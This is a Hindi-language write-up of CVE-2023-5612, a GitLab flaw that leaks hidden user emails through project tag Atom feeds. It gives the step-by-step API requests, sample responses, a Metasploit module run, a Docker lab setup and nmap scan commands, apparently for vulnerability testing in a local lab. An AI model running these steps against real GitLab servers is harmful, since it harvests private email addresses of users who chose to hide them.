टैग्स RSS फ़ीड में सार्वजनिक ईमेल का खुलासा

https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/

An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled. This is a medium severity issue (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, 5.3). It is now mitigated in the latest release and is assigned CVE-2023-5612.

https://nvd.nist.gov/vuln/detail/CVE-2023-5612

An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled.

विवरण

GitLab में एक भेद्यता पाई गई है जो कुछ उपयोगकर्ताओं के छिपे हुए प्रोफ़ाइल होने पर भी उपयोगकर्ताओं की ईमेल (और नाम) की सूची प्राप्त करने की अनुमति देती है। यह /api/v4/projects एंडपॉइंट तक बिना प्रमाणीकरण के पहुँच प्राप्त करने की क्षमता के कारण होता है। प्रत्येक प्रोजेक्ट के लिए, web_url लेकर, /-/tags?format=atom एंडपॉइंट पर अनुरोध भेजा जा सकता है, और प्रतिक्रिया में xml प्राप्त होगा जिसमें उपयोगकर्ता का नाम और ईमेल भी दिखाई देगा:

...
    <name>test</name>
    <email>[email protected]</email>
...

NSE Dev

PoC:

• https://hackerone.com/reports/2208790
• https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.rb
• https://sploitus.com/?query=CVE-2023-5612#exploits

ध्यान दें: इस कथित भेद्यता के लिए एक NSE स्क्रिप्ट है, लेकिन यदि इसके नाम और सामग्री पर ध्यान दिया जाए, तो यह स्पष्ट हो जाता है कि यह एक गलती है और इसका इस CVE से कोई संबंध नहीं है।

एल्गोरिदम:

1. सभी उपलब्ध प्रोजेक्टों के नाम प्राप्त करें:

GET /api/v4/projects?output_mode=json HTTP/1.1

उदाहरण प्रतिक्रिया:

[{"id":3,"description":null,"name":"project3","name_with_namespace":"test / project3","path":"project3","path_with_namespace":"test/project3","created_at":"2025-09-13T16:39:05.885Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/test/project3.git","http_url_to_repo":"http://localhost:8929/test/project3.git","web_url":"http://localhost:8929/test/project3","readme_url":"http://localhost:8929/test/project3/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:39:05.885Z","namespace":{"id":4,"name":"test","path":"test","kind":"user","full_path":"test","parent_id":null,"avatar_url":"https://www.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=80\u0026d=identicon","web_url":"http://localhost:8929/test"}},{"id":2,"description":null,"name":"project2","name_with_namespace":"testgroup / project2","path":"project2","path_with_namespace":"testgroup/project2","created_at":"2025-09-13T16:35:26.979Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/testgroup/project2.git","http_url_to_repo":"http://localhost:8929/testgroup/project2.git","web_url":"http://localhost:8929/testgroup/project2","readme_url":"http://localhost:8929/testgroup/project2/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:35:26.979Z","namespace":{"id":3,"name":"testgroup","path":"testgroup","kind":"group","full_path":"testgroup","parent_id":null,"avatar_url":null,"web_url":"http://localhost:8929/groups/testgroup"}},{"id":1,"description":null,"name":"test","name_with_namespace":"Administrator / test","path":"test","path_with_namespace":"root/test","created_at":"2025-09-12T15:03:47.319Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/root/test.git","http_url_to_repo":"http://localhost:8929/root/test.git","web_url":"http://localhost:8929/root/test","readme_url":"http://localhost:8929/root/test/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:19:10.901Z","namespace":{"id":1,"name":"Administrator","path":"root","kind":"user","full_path":"root","parent_id":null,"avatar_url":"https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon","web_url":"http://localhost:8929/root"}}]

2. प्रत्येक के लिए atom-xml प्रारूप में टैग प्राप्त करें:

GET /test/project3/-/tags?format=atom HTTP/1.1
GET /root/test/-/tags?format=atom HTTP/1.1

उदाहरण प्रतिक्रिया:

<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
<title>project3 tags</title>
<link href="http://127.0.0.1:8929/test/project3/-/tags?format=atom" rel="self" type="application/atom+xml"/>
<link href="http://127.0.0.1:8929/test/project3/-/tags" rel="alternate" type="text/html"/>
<id>http://127.0.0.1:8929/test/project3/-/tags</id>
<entry>
  <id>http://127.0.0.1:8929/test/project3/-/tags/1.0.0</id>
  <link href="http://127.0.0.1:8929/test/project3/-/tags/1.0.0"/>
  <title>1.0.0</title>
  <summary></summary>
  <content type="html"></content>
  <media:thumbnail width="40" height="40" url="https://www.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=80&amp;d=identicon"/>
  <author>
    <name>test</name>
    <email>[email protected]</email>
  </author>
</entry>
</feed>

इस फ़ाइल में हम इस प्रोजेक्ट में सभी टैग लेखकों के name और email फ़ील्ड देखते हैं। हमलावर को उनका खुलासा होना ही इस भेद्यता का सार है।

सफल शोषण का उदाहरण:

# Metasploit
use auxiliary/gather/gitlab_tags_rss_feed_email_disclosure
set RHOSTS 127.0.0.1
set RPORT 8929
run

परिणाम:

auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > run
[*] Running module against 127.0.0.1
[+] Scraping ALL projects...
[+] name: test
[+] e-mail: [email protected]
[+] name: Administrator
[+] e-mail: [email protected]
[*] Auxiliary module execution completed

NSE Test

परीक्षण GitLab CE 16.5.10 पर किया गया था

docker-compose.yml

services:
  gitlab:
    image: gitlab/gitlab-ce:16.5.10-ce.0
    container_name: gitlab-ce
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://localhost:8929'
        gitlab_rails['gitlab_shell_ssh_port'] = 2424
    ports:
      - '8929:8929'
      - '443:443'
      - '2424:22'
    volumes:
      - '$GITLAB_HOME/config:/etc/gitlab'
      - '$GITLAB_HOME/logs:/var/log/gitlab'
      - '$GITLAB_HOME/data:/var/opt/gitlab'
    shm_size: '256m'

लॉन्च करें && परीक्षण वातावरण तैयार करें

1. Docker में भेद्य gitlab-ce को चालू करें:

sudo docker compose up
sudo docker exec -it {CONTAINER_ID} grep 'Password:' /etc/gitlab/initial_root_password
# Do not decode the showed base64 value, just use it as is
# Change root's creds to smth like root:toortoor

2. इसे तैयार करें:

• root के रूप में लॉगिन करें
• एक प्रोजेक्ट बनाएँ
• root की ओर से प्रोजेक्ट के लिए एक टैग बनाएँ
• test उपयोगकर्ता बनाएँ, test के रूप में लॉगिन करें
• test की ओर से एक प्रोजेक्ट बनाएँ
• test की ओर से प्रोजेक्ट के लिए एक टैग बनाएँ

2. स्क्रिप्ट चलाएँ:

# full scan
nmap --script cve-2023-5612 <TARGET> -p <PORT>
nmap --script cve-2023-5612 <TARGET> -p <PORT> --script-args check_mode=full
# fast scan
nmap --script cve-2023-5612 <TARGET> -p <PORT> --script-args check_mode=fast